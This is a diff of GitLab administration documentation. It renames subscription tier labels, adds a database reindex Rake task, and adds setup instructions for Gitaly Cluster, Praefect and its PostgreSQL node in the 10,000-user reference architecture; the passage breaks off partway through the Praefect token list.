To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM ONLY)** +# PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM SELF)** This document focuses on configuration supported with [GitLab Premium](https://about.gitlab.com/pricing/), using the Omnibus GitLab package. If you're a Community Edition or Starter user, consider using a cloud hosted solution. @@ -46,7 +46,7 @@ Each database node runs three services: `PostgreSQL` - The database itself. -`Patroni` - Communicates with other patroni services in the cluster and handles +`Patroni` - Communicates with other Patroni services in the cluster and handles failover when issues with the leader server occurs. The failover procedure consists of: diff --git a/doc/administration/postgresql/standalone.md b/doc/administration/postgresql/standalone.md index 30495824cd2..cca46a2ea8c 100644 --- a/doc/administration/postgresql/standalone.md +++ b/doc/administration/postgresql/standalone.md @@ -4,7 +4,7 @@ group: Database info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Standalone PostgreSQL using Omnibus GitLab **(CORE ONLY)** +# Standalone PostgreSQL using Omnibus GitLab **(FREE SELF)** If you wish to have your database service hosted separately from your GitLab application servers, you can do this using the PostgreSQL binaries packaged diff --git a/doc/administration/raketasks/check.md b/doc/administration/raketasks/check.md index 41defd89df5..5ec268ac769 100644 --- a/doc/administration/raketasks/check.md +++ b/doc/administration/raketasks/check.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Integrity check Rake task **(CORE ONLY)** +# Integrity check Rake task **(FREE SELF)** GitLab provides Rake tasks to check the integrity of various components. diff --git a/doc/administration/raketasks/doctor.md b/doc/administration/raketasks/doctor.md index c80f580cce6..ec3f7835b9c 100644 --- a/doc/administration/raketasks/doctor.md +++ b/doc/administration/raketasks/doctor.md @@ -4,7 +4,7 @@ group: Geo info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Doctor Rake tasks **(CORE ONLY)** +# Doctor Rake tasks **(FREE SELF)** This is a collection of tasks to help investigate and repair problems caused by data integrity issues. diff --git a/doc/administration/raketasks/geo.md b/doc/administration/raketasks/geo.md index 492fe4b52ca..3112e5f61b1 100644 --- a/doc/administration/raketasks/geo.md +++ b/doc/administration/raketasks/geo.md @@ -4,7 +4,7 @@ group: Geo info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Geo Rake Tasks **(PREMIUM ONLY)** +# Geo Rake Tasks **(PREMIUM SELF)** The following Rake tasks are for [Geo installations](../geo/index.md). diff --git a/doc/administration/raketasks/github_import.md b/doc/administration/raketasks/github_import.md index 630570cb81f..c29865be56c 100644 --- a/doc/administration/raketasks/github_import.md +++ b/doc/administration/raketasks/github_import.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitHub import **(CORE ONLY)** +# GitHub import **(FREE SELF)** > [Introduced]( https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10308) in GitLab 9.1. diff --git a/doc/administration/raketasks/ldap.md b/doc/administration/raketasks/ldap.md index 7dafda89e3c..531e9e89020 100644 --- a/doc/administration/raketasks/ldap.md +++ b/doc/administration/raketasks/ldap.md @@ -4,7 +4,7 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# LDAP Rake tasks **(CORE ONLY)** +# LDAP Rake tasks **(FREE SELF)** The following are LDAP-related Rake tasks. @@ -34,7 +34,7 @@ limit by passing a number to the check task: rake gitlab:ldap:check[50] ``` -## Run a group sync **(STARTER ONLY)** +## Run a group sync **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/14735) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.2. @@ -233,9 +233,9 @@ It can also be used as a receiving application for content encrypted with a KMS: gcloud kms decrypt --key my-key --keyring my-test-kms --plaintext-file=- --ciphertext-file=my-file --location=us-west1 | sudo gitlab-rake gitlab:ldap:secret:write ``` -**gcloud secret integration example** +**Google Cloud secret integration example** -It can also be used as a receiving application for secrets out of gcloud: +It can also be used as a receiving application for secrets out of Google Cloud: ```shell gcloud secrets versions access latest --secret="my-test-secret" > $1 | sudo gitlab-rake gitlab:ldap:secret:write diff --git a/doc/administration/raketasks/maintenance.md b/doc/administration/raketasks/maintenance.md index 26381434ad4..3494ceb701e 100644 --- a/doc/administration/raketasks/maintenance.md +++ b/doc/administration/raketasks/maintenance.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Maintenance Rake tasks **(CORE ONLY)** +# Maintenance Rake tasks **(FREE SELF)** GitLab provides Rake tasks for general maintenance. @@ -64,9 +64,10 @@ Repository storage paths: GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell ``` -## Show GitLab license information **(STARTER ONLY)** +## Show GitLab license information **(PREMIUM SELF)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20501) in GitLab Starter 12.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20501) in GitLab 12.6. +> - [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9. This command shows information about your [GitLab license](../../user/admin_area/license.md) and how many seats are used. It is only available on GitLab Enterprise @@ -291,7 +292,7 @@ sudo gitlab-rake gitlab:exclusive_lease:clear[project_housekeeping:4] ## Display status of database migrations -See the [upgrade documentation](../../update/README.md#checking-for-background-migrations-before-upgrading) +See the [upgrade documentation](../../update/index.md#checking-for-background-migrations-before-upgrading) for how to check that migrations are complete when upgrading GitLab. To check the status of specific migrations, you can use the following Rake task: @@ -325,6 +326,39 @@ sudo gitlab-rake db:migrate After the command completes, run `sudo gitlab-rake db:migrate:status` to check if all migrations are completed (have an `up` status). +## Rebuild database indexes + +WARNING: +This is an experimental feature that isn't enabled by default. + +Database indexes can be rebuilt regularly to reclaim space and maintain healthy levels of index bloat over time. + +In order to rebuild the two indexes with the highest estimated bloat, use the following Rake task: + +```shell +sudo gitlab-rake gitlab:db:reindex +``` + +In order to target a specific index, use the following Rake task: + +```shell +sudo gitlab-rake gitlab:db:reindex['public.a_specific_index'] +``` + +The following index types are not supported: + +1. Unique and primary key indexes +1. Indexes used for constraint exclusion +1. Partitioned indexes +1. Expression indexes + +Optionally, this Rake task sends annotations to a Grafana (4.6 or later) endpoint. Use the following custom environment variables in order to enable annotations: + +1. `GRAFANA_API_URL` - Grafana's base URL, for example `http://some-host:3000`. +1. `GRAFANA_API_KEY` - Grafana API key with at least `Editor role`. + +You can also [enable reindexing as a regular cron job](https://docs.gitlab.com/omnibus/settings/database.html#automatic-database-reindexing). + ## Import common metrics Sometimes you may need to re-import the common metrics that power the Metrics dashboards. diff --git a/doc/administration/raketasks/praefect.md b/doc/administration/raketasks/praefect.md index 17c3e44bb7e..5fe0546999b 100644 --- a/doc/administration/raketasks/praefect.md +++ b/doc/administration/raketasks/praefect.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Praefect Rake tasks **(CORE ONLY)** +# Praefect Rake tasks **(FREE SELF)** > [Introduced]( https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28369) in GitLab 12.10. diff --git a/doc/administration/raketasks/project_import_export.md b/doc/administration/raketasks/project_import_export.md index 0ea0bb3c28f..0fe15f2b5ba 100644 --- a/doc/administration/raketasks/project_import_export.md +++ b/doc/administration/raketasks/project_import_export.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Project import/export administration **(CORE ONLY)** +# Project import/export administration **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3050) in GitLab 8.9. > - From GitLab 11.3, import/export can use object storage automatically. diff --git a/doc/administration/raketasks/storage.md b/doc/administration/raketasks/storage.md index 158b541b36b..7fedcbf3c1a 100644 --- a/doc/administration/raketasks/storage.md +++ b/doc/administration/raketasks/storage.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Repository storage Rake tasks **(CORE ONLY)** +# Repository storage Rake tasks **(FREE SELF)** This is a collection of Rake tasks to help you list and migrate existing projects and their attachments to the new diff --git a/doc/administration/raketasks/uploads/migrate.md b/doc/administration/raketasks/uploads/migrate.md index 2f51bf9357f..ab0a51ba8d6 100644 --- a/doc/administration/raketasks/uploads/migrate.md +++ b/doc/administration/raketasks/uploads/migrate.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Uploads migrate Rake tasks **(CORE ONLY)** +# Uploads migrate Rake tasks **(FREE SELF)** There is a Rake task for migrating uploads between different storage types. diff --git a/doc/administration/raketasks/uploads/sanitize.md b/doc/administration/raketasks/uploads/sanitize.md index 637992d52ca..7dc813de14e 100644 --- a/doc/administration/raketasks/uploads/sanitize.md +++ b/doc/administration/raketasks/uploads/sanitize.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Uploads sanitize Rake tasks **(CORE ONLY)** +# Uploads sanitize Rake tasks **(FREE SELF)** In GitLab 11.9 and later, EXIF data is automatically stripped from JPG or TIFF image uploads. diff --git a/doc/administration/read_only_gitlab.md b/doc/administration/read_only_gitlab.md index d1cb53d0090..cb7b621bf16 100644 --- a/doc/administration/read_only_gitlab.md +++ b/doc/administration/read_only_gitlab.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Place GitLab into a read-only state **(CORE ONLY)** +# Place GitLab into a read-only state **(FREE SELF)** WARNING: This document should be used as a temporary solution. @@ -68,7 +68,7 @@ the database is read-only: 1. Take a [GitLab backup](../raketasks/backup_restore.md#back-up-gitlab) in case things don't go as expected. -1. Enter PostgreSQL on the console as an admin user: +1. Enter PostgreSQL on the console as an administrator user: ```shell sudo \ diff --git a/doc/administration/redis/replication_and_failover.md b/doc/administration/redis/replication_and_failover.md index 1abc52b65cc..20a9fbd7d68 100644 --- a/doc/administration/redis/replication_and_failover.md +++ b/doc/administration/redis/replication_and_failover.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Redis replication and failover with Omnibus GitLab **(PREMIUM ONLY)** +# Redis replication and failover with Omnibus GitLab **(PREMIUM SELF)** NOTE: This is the documentation for the Omnibus GitLab packages. For using your own diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md index 3bcefe2ef13..1b2e93cccd9 100644 --- a/doc/administration/redis/replication_and_failover_external.md +++ b/doc/administration/redis/replication_and_failover_external.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Redis replication and failover providing your own instance **(CORE ONLY)** +# Redis replication and failover providing your own instance **(FREE SELF)** If you’re hosting GitLab on a cloud provider, you can optionally use a managed service for Redis. For example, AWS offers ElastiCache that runs Redis. diff --git a/doc/administration/redis/standalone.md b/doc/administration/redis/standalone.md index 0e7eca84d17..42482475d26 100644 --- a/doc/administration/redis/standalone.md +++ b/doc/administration/redis/standalone.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Standalone Redis using Omnibus GitLab **(CORE ONLY)** +# Standalone Redis using Omnibus GitLab **(FREE SELF)** The Omnibus GitLab package can be used to configure a standalone Redis server. In this configuration, Redis is not scaled, and represents a single diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md index afa53b5efa8..d4d522ab1b8 100644 --- a/doc/administration/reference_architectures/10k_users.md +++ b/doc/administration/reference_architectures/10k_users.md @@ -5,107 +5,117 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Reference architecture: up to 10,000 users **(PREMIUM ONLY)** +# Reference architecture: up to 10,000 users **(PREMIUM SELF)** This page describes GitLab reference architecture for up to 10,000 users. For a full list of reference architectures, see [Available reference architectures](index.md#available-reference-architectures). > - **Supported users (approximate):** 10,000 -> - **High Availability:** Yes -> - **Test requests per second (RPS) rates:** API: 200 RPS, Web: 20 RPS, Git: 20 RPS +> - **High Availability:** Yes ([Praefect](#configure-praefect-postgresql) needs a third-party PostgreSQL solution for HA) +> - **Test requests per second (RPS) rates:** API: 200 RPS, Web: 20 RPS, Git (Pull): 20 RPS, Git (Push): 4 RPS | Service | Nodes | Configuration | GCP | AWS | Azure | |--------------------------------------------|-------------|-------------------------|-----------------|-------------|----------| | External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | | Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | +| PostgreSQL | 3 | 8 vCPU, 30 GB memory | n1-standard-8 | m5.2xlarge | D8s v3 | | PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | | Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | | Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | | Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | | Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | | Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Gitaly | 2 (minimum) | 16 vCPU, 60 GB memory | n1-standard-16 | m5.4xlarge | D16s v3 | +| Gitaly Cluster | 3 | 16 vCPU, 60 GB memory | n1-standard-16 | m5.4xlarge | D16s v3 | +| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | +| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | | Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | | GitLab Rails | 3 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 | | Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | | NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | -```mermaid -stateDiagram-v2 - [*] --> LoadBalancer - LoadBalancer --> ApplicationServer - - ApplicationServer --> BackgroundJobs - ApplicationServer --> Gitaly - ApplicationServer --> Redis_Cache - ApplicationServer --> Redis_Queues - ApplicationServer --> PgBouncer - PgBouncer --> Database - ApplicationServer --> ObjectStorage - BackgroundJobs --> ObjectStorage - - ApplicationMonitoring -->ApplicationServer - ApplicationMonitoring -->PgBouncer - ApplicationMonitoring -->Database - ApplicationMonitoring -->BackgroundJobs - - ApplicationServer --> Consul - - Consul --> Database - Consul --> PgBouncer - Redis_Cache --> Consul - Redis_Queues --> Consul - BackgroundJobs --> Consul - - state Consul { - "Consul_1..3" - } - - state Database { - "PG_Primary_Node" - "PG_Secondary_Node_1..2" - } - - state Redis_Cache { - "R_Cache_Primary_Node" - "R_Cache_Replica_Node_1..2" - "R_Cache_Sentinel_1..3" - } - - state Redis_Queues { - "R_Queues_Primary_Node" - "R_Queues_Replica_Node_1..2" - "R_Queues_Sentinel_1..3" - } - - state Gitaly { - "Gitaly_1..2" - } - - state BackgroundJobs { - "Sidekiq_1..4" - } - - state ApplicationServer { - "GitLab_Rails_1..3" - } - - state LoadBalancer { - "LoadBalancer_1" - } - - state ApplicationMonitoring { - "Prometheus" - "Grafana" - } - - state PgBouncer { - "Internal_Load_Balancer" - "PgBouncer_1..3" - } +```plantuml +@startuml 10k +card "**External Load Balancer**" as elb #6a9be7 +card "**Internal Load Balancer**" as ilb #9370DB + +together { + collections "**GitLab Rails** x3" as gitlab #32CD32 + collections "**Sidekiq** x4" as sidekiq #ff8dd1 +} + +together { + card "**Prometheus + Grafana**" as monitor #7FFFD4 + collections "**Consul** x3" as consul #e76a9b +} + +card "Gitaly Cluster" as gitaly_cluster { + collections "**Praefect** x3" as praefect #FF8C00 + collections "**Gitaly** x3" as gitaly #FF8C00 + card "**Praefect PostgreSQL***\n//Non fault-tolerant//" as praefect_postgres #FF8C00 + + praefect -[#FF8C00]-> gitaly + praefect -[#FF8C00]> praefect_postgres +} + +card "Database" as database { + collections "**PGBouncer** x3" as pgbouncer #4EA7FF + card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF + collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF + + pgbouncer -[#4EA7FF]-> postgres_primary + postgres_primary .[#4EA7FF]> postgres_secondary +} + +card "redis" as redis { + collections "**Redis Persistent** x3" as redis_persistent #FF6347 + collections "**Redis Cache** x3" as redis_cache #FF6347 + collections "**Redis Persistent Sentinel** x3" as redis_persistent_sentinel #FF6347 + collections "**Redis Cache Sentinel** x3"as redis_cache_sentinel #FF6347 + + redis_persistent <.[#FF6347]- redis_persistent_sentinel + redis_cache <.[#FF6347]- redis_cache_sentinel +} + +cloud "**Object Storage**" as object_storage #white + +elb -[#6a9be7]-> gitlab +elb -[#6a9be7]--> monitor + +gitlab -[#32CD32]> sidekiq +gitlab -[#32CD32]--> ilb +gitlab -[#32CD32]-> object_storage +gitlab -[#32CD32]---> redis +gitlab -[hidden]-> monitor +gitlab -[hidden]-> consul + +sidekiq -[#ff8dd1]--> ilb +sidekiq -[#ff8dd1]-> object_storage +sidekiq -[#ff8dd1]---> redis +sidekiq -[hidden]-> monitor +sidekiq -[hidden]-> consul + +ilb -[#9370DB]-> gitaly_cluster +ilb -[#9370DB]-> database + +consul .[#e76a9b]u-> gitlab +consul .[#e76a9b]u-> sidekiq +consul .[#e76a9b]> monitor +consul .[#e76a9b]-> database +consul .[#e76a9b]-> gitaly_cluster +consul .[#e76a9b,norank]--> redis + +monitor .[#7FFFD4]u-> gitlab +monitor .[#7FFFD4]u-> sidekiq +monitor .[#7FFFD4]> consul +monitor .[#7FFFD4]-> database +monitor .[#7FFFD4]-> gitaly_cluster +monitor .[#7FFFD4,norank]--> redis +monitor .[#7FFFD4]> ilb +monitor .[#7FFFD4,norank]u--> elb + +@enduml ``` The Google Cloud Platform (GCP) architectures were built and tested using the @@ -120,19 +130,25 @@ uploads, or artifacts), using an [object storage service](#configure-the-object- is recommended instead of using NFS. Using an object storage service also doesn't require you to provision and maintain a node. +It's also worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and +that to achieve full High Availability a third party PostgreSQL database solution will be required. +We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server +can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398) + ## Setup components To set up GitLab and its components to accommodate up to 10,000 users: -1. [Configure the external load balancing node](#configure-the-external-load-balancer) +1. [Configure the external load balancer](#configure-the-external-load-balancer) to handle the load balancing of the GitLab application services nodes. +1. [Configure the internal load balancer](#configure-the-internal-load-balancer). + to handle the load balancing of GitLab application internal connections. 1. [Configure Consul](#configure-consul). 1. [Configure PostgreSQL](#configure-postgresql), the database for GitLab. 1. [Configure PgBouncer](#configure-pgbouncer). -1. [Configure the internal load balancing node](#configure-the-internal-load-balancer). 1. [Configure Redis](#configure-redis). -1. [Configure Gitaly](#configure-gitaly), - which provides access to the Git repositories. +1. [Configure Gitaly Cluster](#configure-gitaly-cluster), + provides access to the Git repositories. 1. [Configure Sidekiq](#configure-sidekiq). 1. [Configure the main GitLab Rails application](#configure-gitlab-rails) to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend @@ -178,6 +194,11 @@ The following list includes descriptions of each server and its assigned IP: - `10.6.0.83`: Sentinel - Queues 3 - `10.6.0.91`: Gitaly 1 - `10.6.0.92`: Gitaly 2 +- `10.6.0.93`: Gitaly 3 +- `10.6.0.131`: Praefect 1 +- `10.6.0.132`: Praefect 2 +- `10.6.0.133`: Praefect 3 +- `10.6.0.141`: Praefect PostgreSQL 1 (non HA) - `10.6.0.101`: Sidekiq 1 - `10.6.0.102`: Sidekiq 2 - `10.6.0.103`: Sidekiq 3 @@ -308,6 +329,71 @@ Configure DNS for an alternate SSH hostname such as `altssh.gitlab.example.com`. </a> </div> +## Configure the internal load balancer + +The Internal Load Balancer is used to balance any internal connections the GitLab environment requires +such as connections to [PgBouncer](#configure-pgbouncer) and [Praefect](#configure-praefect) (Gitaly Cluster). + +Note that it's a separate node from the External Load Balancer and shouldn't have any access externally. + +The following IP will be used as an example: + +- `10.6.0.40`: Internal Load Balancer + +Here's how you could do it with [HAProxy](https://www.haproxy.org/): + +```plaintext +global + log /dev/log local0 + log localhost local1 notice + log stdout format raw local0 + +defaults + log global + default-server inter 10s fall 3 rise 2 + balance leastconn + +frontend internal-pgbouncer-tcp-in + bind *:6432 + mode tcp + option tcplog + + default_backend pgbouncer + +frontend internal-praefect-tcp-in + bind *:2305 + mode tcp + option tcplog + option clitcpka + + default_backend praefect + +backend pgbouncer + mode tcp + option tcp-check + + server pgbouncer1 10.6.0.21:6432 check + server pgbouncer2 10.6.0.22:6432 check + server pgbouncer3 10.6.0.23:6432 check + +backend praefect + mode tcp + option tcp-check + option srvtcpka + + server praefect1 10.6.0.131:2305 check + server praefect2 10.6.0.132:2305 check + server praefect3 10.6.0.133:2305 check +``` + +Refer to your preferred Load Balancer's documentation for further guidance. + +<div align="right"> + <a type="button" class="btn btn-default" href="#setup-components"> + Back to setup components <i class="fa fa-angle-double-up" aria-hidden="true"></i> + </a> +</div> + ## Configure Consul The following IPs will be used as an example: @@ -662,52 +748,6 @@ The following IPs will be used as an example: </a> </div> -### Configure the internal load balancer - -If you're running more than one PgBouncer node as recommended, then at this time you'll need to set -up a TCP internal load balancer to serve each correctly. - -The following IP will be used as an example: - -- `10.6.0.40`: Internal Load Balancer - -Here's how you could do it with [HAProxy](https://www.haproxy.org/): - -```plaintext -global - log /dev/log local0 - log localhost local1 notice - log stdout format raw local0 - -defaults - log global - default-server inter 10s fall 3 rise 2 - balance leastconn - -frontend internal-pgbouncer-tcp-in - bind *:6432 - mode tcp - option tcplog - - default_backend pgbouncer - -backend pgbouncer - mode tcp - option tcp-check - - server pgbouncer1 10.6.0.21:6432 check - server pgbouncer2 10.6.0.22:6432 check - server pgbouncer3 10.6.0.23:6432 check -``` - -Refer to your preferred Load Balancer's documentation for further guidance. - -<div align="right"> - <a type="button" class="btn btn-default" href="#setup-components"> - Back to setup components <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - ## Configure Redis Using [Redis](https://redis.io/) in scalable environment is possible using a **Primary** x **Replica** @@ -1302,19 +1342,283 @@ To configure the Sentinel Queues server: </a> </div> -## Configure Gitaly +## Configure Gitaly Cluster -NOTE: -[Gitaly Cluster](../gitaly/praefect.md) support -for the Reference Architectures is being -worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified -some Architecture specs will likely change as a result to support the new -and improved designed. +[Gitaly Cluster](../gitaly/praefect.md) is a GitLab provided and recommended fault tolerant solution for storing Git repositories. +In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being designated the primary, and failover occurs automatically if the primary node goes down. + +The recommended cluster setup includes the following components: + +- 3 Gitaly nodes: Replicated storage of Git repositories. +- 3 Praefect nodes: Router and transaction manager for Gitaly Cluster. +- 1 Praefect PostgreSQL node: Database server for Praefect. A third-party solution + is required for Praefect database connections to be made highly available. +- 1 load balancer: A load balancer is required for Praefect. The + [internal load balancer](#configure-the-internal-load-balancer) will be used. + +This section will detail how to configure the recommended standard setup in order. +For more advanced setups refer to the [standalone Gitaly Cluster documentation](../gitaly/praefect.md). + +### Configure Praefect PostgreSQL + +Praefect, the routing and transaction manager for Gitaly Cluster, requires its own database server to store data on Gitaly Cluster status. + +If you want to have a highly available setup, Praefect requires a third-party PostgreSQL database. +A built-in solution is being [worked on](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919). + +#### Praefect non-HA PostgreSQL standalone using Omnibus GitLab + +The following IPs will be used as an example: + +- `10.6.0.141`: Praefect PostgreSQL + +First, make sure to [install](https://about.gitlab.com/install/) +the Linux GitLab package in the Praefect PostgreSQL node. Following the steps, +install the necessary dependencies from step 1, and add the +GitLab package repository from step 2. When installing GitLab +in the second step, do not supply the `EXTERNAL_URL` value. + +1. SSH in to the Praefect PostgreSQL node. +1. Create a strong password to be used for the Praefect PostgreSQL user. Take note of this password as `<praefect_postgresql_password>`. +1. Generate the password hash for the Praefect PostgreSQL username/password pair. This assumes you will use the default + username of `praefect` (recommended). The command will request the password `<praefect_postgresql_password>` + and confirmation. Use the value that is output by this command in the next + step as the value of `<praefect_postgresql_password_hash>`: + + ```shell + sudo gitlab-ctl pg-password-md5 praefect + ``` + +1. Edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section: + + ```ruby + # Disable all components except PostgreSQL and Consul + roles ['postgres_role'] + repmgr['enable'] = false + patroni['enable'] = false + + # PostgreSQL configuration + postgresql['listen_address'] = '0.0.0.0' + postgresql['max_connections'] = 200 + + gitlab_rails['auto_migrate'] = false + + # Configure the Consul agent + consul['enable'] = true + ## Enable service discovery for Prometheus + consul['monitoring_service_discovery'] = true + + # START user configuration + # Please set the real values as explained in Required Information section + # + # Replace PRAEFECT_POSTGRESQL_PASSWORD_HASH with a generated md5 value + postgresql['sql_user_password'] = "<praefect_postgresql_password_hash>" + + # Replace XXX.XXX.XXX.XXX/YY with Network Address + postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24) + + # Set the network addresses that the exporters will listen on for monitoring + node_exporter['listen_address'] = '0.0.0.0:9100' + postgres_exporter['listen_address'] = '0.0.0.0:9187' + + ## The IPs of the Consul server nodes + ## You can also use FQDNs and intermix them with IPs + consul['configuration'] = { + retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13), + } + # + # END user configuration + ``` + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Follow the [post configuration](#praefect-postgresql-post-configuration). + +<div align="right"> + <a type="button" class="btn btn-default" href="#setup-components"> + Back to setup components <i class="fa fa-angle-double-up" aria-hidden="true"></i> + </a> +</div> + +#### Praefect HA PostgreSQL third-party solution + +[As noted](#configure-praefect-postgresql), a third-party PostgreSQL solution for +Praefect's database is recommended if aiming for full High Availability. + +There are many third-party solutions for PostgreSQL HA. The solution selected must have the following to work with Praefect: + +- A static IP for all connections that doesn't change on failover. +- [`LISTEN`](https://www.postgresql.org/docs/12/sql-listen.html) SQL functionality must be supported. + +Examples of the above could include [Google's Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) or [Amazon RDS](https://aws.amazon.com/rds/). + +Once the database is set up, follow the [post configuration](#praefect-postgresql-post-configuration). + +#### Praefect PostgreSQL post-configuration + +After the Praefect PostgreSQL server has been set up, you'll then need to configure the user and database for Praefect to use. + +We recommend the user be named `praefect` and the database `praefect_production`, and these can be configured as standard in PostgreSQL. +The password for the user is the same as the one you configured earlier as `<praefect_postgresql_password>`. + +This is how this would work with a Omnibus GitLab PostgreSQL setup: + +1. SSH in to the Praefect PostgreSQL node. +1. Connect to the PostgreSQL server with administrative access. + The `gitlab-psql` user should be used here for this as it's added by default in Omnibus. + The database `template1` is used because it is created by default on all PostgreSQL servers. + + ```shell + /opt/gitlab/embedded/bin/psql -U gitlab-psql -d template1 -h POSTGRESQL_SERVER_ADDRESS + ``` + +1. Create the new user `praefect`, replacing `<praefect_postgresql_password>`: + + ```shell + CREATE ROLE praefect WITH LOGIN CREATEDB PASSWORD <praefect_postgresql_password>; + ``` + +1. Reconnect to the PostgreSQL server, this time as the `praefect` user: + + ```shell + /opt/gitlab/embedded/bin/psql -U praefect -d template1 -h POSTGRESQL_SERVER_ADDRESS + ``` + +1. Create a new database `praefect_production`: + + ```shell + CREATE DATABASE praefect_production WITH ENCODING=UTF8; + ``` + +<div align="right"> + <a type="button" class="btn btn-default" href="#setup-components"> + Back to setup components <i class="fa fa-angle-double-up" aria-hidden="true"></i> + </a> +</div> + +### Configure Praefect + +Praefect is the router and transaction manager for Gitaly Cluster and all connections to Gitaly go through +it. This section details how to configure it. + +Praefect requires several secret tokens to secure communications across the Cluster: + +- `<praefect_external_token>`: 